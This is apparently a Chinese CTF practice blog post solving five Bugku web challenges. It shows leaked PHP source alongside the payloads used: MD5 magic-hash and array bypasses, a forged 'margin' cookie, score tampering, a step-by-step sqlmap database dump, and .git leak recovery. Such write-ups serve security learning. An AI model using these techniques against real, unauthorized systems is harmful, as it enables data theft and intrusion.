0%

bugku刷题记录2

备份是个好习惯

既然是备份题,废话不多说,直接御剑扫描,结果出来index.php.bak文件,下载之后打开

代码如下

1
2
3
4
5
6
7
8
9
10
11
include_once "flag.php"; //包含flag.php
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//设变量str的值为url中?后面的字符串
$str = substr($str,1);//设str为str中第一位开始后的字符串
$str = str_replace('key','',$str);//把str中的key替换成空
parse_str($str);//把str中的字符串解析为变量
echo md5($key1);//输出md5加密的key1
echo md5($key2);//输出md5加密的key2
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}

所以payload是

kekeyy1=s155964671a&&kekeyy2=s214587387a

这里涉及到了0e开头的MD5加密,以及绕过过滤。这里也可以用数组进行绕过

kekeyy1[]=1&&kekeyy2[]=2

这道题主要是有思路,但是看不懂php代码,有点吃亏。

Cookies

用hackerbar打开后可以发现filename是一段base64编码,解码后发现是keys.txt。所以我们联想到查看index.php的源码,前面还有line= 猜测是查看某行的源码,我们用bp逐一测试,最后得到如下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

所以我们要cookies中添加margin=margin

可以在hackbar中添加,注意是cookies 有一个s

image-20220326230830866

查看源码后得到flag

也可以在bp中构造

image-20220326231613478

game1

这是一个小游戏,首先想到是得到一定分数后会输出flag,所以我们尝试修改分数,在游戏即将结束时抓包,得到三个get传参,第一个是明文的分数,第二个是ip不用管,第三个是加密后的分数,根据我们前面所得分数的base64加密可知,后面的构造方式是zM+base64(score)+==,我们尝试让score=99999999,并将99999999的base64编码插入到后面的密文中,最后得到flag

image-20220326232510455

成绩查询复盘

这次用sqlmap试一下,这里是post的上传方式

首先随便输入id,然后copy to file

image-20220326233453747

保存文件到sqlmap的目录下打开sqlmap

输入python sqlmap.py -r a.txt 后可查看可进行的注入类型

image-20220326233816153

然后我们用python sqlmap.py -r a.txt --dbs来获取所有数据库

image-20220326233955361

接着用python sqlmap.py -r a.txt -D skctf --tables来获取skctf下所有的表

image-20220326234056173

接着用python sqlmap.py -r a.txt -D skctf -T fl4g --columns来获取所有的字段名

image-20220326234151934

最后用python sqlmap.py -r a.txt -D skctf -T fl4g -C "skctf_flag" --dump来爆出flag

也可以用python sqlmap.py -r a.txt -D skctf -T fl4g --dump

image-20220326234244242

前女友

审题,发现连接一字存在超链接,进入后发现代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

经典MD5绕过,我们用数组绕过

构造:v1[]=1&&v2[]=2&&v3[]=3,得到flag,当然也可以用0e开头的MD5加密,还得搜我就没用

source

进去之后一头雾水,但是看见评论说有git泄露,那我直接进Ubuntu用scrabble扫一下,复制了文件后,结果提示flag没有在这,然后我们版本穿梭,回到上一版本,但是仍然没有,然后搜索得知wget

Linux wget是一个下载文件的工具,它用在命令行下。对于Linux用户是必不可少的工具,尤其对于网络管理员,经常要下载一些软件或从远程服务器恢复备份到本地服务器。如果我们使用虚拟主机,处理这样的事务我们只能先从远程服务器下载到我们电脑磁盘,然后再用ftp工具上传到服务器。这样既浪费时间又浪费精力,那不没办法的事。而到了Linux VPS,它则可以直接下载到服务器而不用经过上传这一步。wget工具体积小但功能完善,它支持断点下载功能,同时支持FTP和HTTP下载方式,支持代理服务器和设置起来方便简单。下面我们以实例的形式说明怎么使用wget。

突然发现这玩意比scrabble强多了,能扫到scrabble扫不到的东西

image-20220327112636895

然后我们就一个一个的git show 哈希值不用切换,直接查看(新学的git show 以前不知道)

最后得到flag